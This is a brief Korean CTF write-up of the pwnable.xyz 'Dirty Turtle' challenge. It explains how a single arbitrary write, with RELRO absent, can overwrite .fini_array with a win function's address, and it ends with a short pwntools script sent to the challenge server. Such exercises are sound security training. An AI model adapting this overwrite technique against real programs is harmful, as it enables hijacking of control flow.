[pwnable.xyz] Dirty Turtle
Pwn/pwnable.xyz

[pwnable.xyz] Dirty Turtle

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

RELRO, PIE가 없다.

<< Code >>

· main

이게 다인 프로그램이다.

사용자가 원하는 주소에 원하는 값을 단 하나 넣을 수 있게 하고 프로그램을 종료시킨다.

미티게이션에서 RELRO가 없지만 GOT Overwrite를 사용할 수는 없을 것 같다.

이때 문제에서 준 힌트를 이용할 수 있다.

파이썬 문법으로 결괏값이 DTORS라고 나온다.

▶ What is DTORS?

더보기

 

🧩 Exploit Scenario 


1) Addr로 .fini_array의 주소 주기

2) win 함수의 값으로 덮어주기

 

🚩 Flag 🚩


from pwn import *

p = remote('svc.pwnable.xyz', 30033)

p.sendafter(b'Addr: ', str(0x600BC0).encode())
p.sendafter(b'Value: ', str(0x400825).encode())
p.interactive()

 

반응형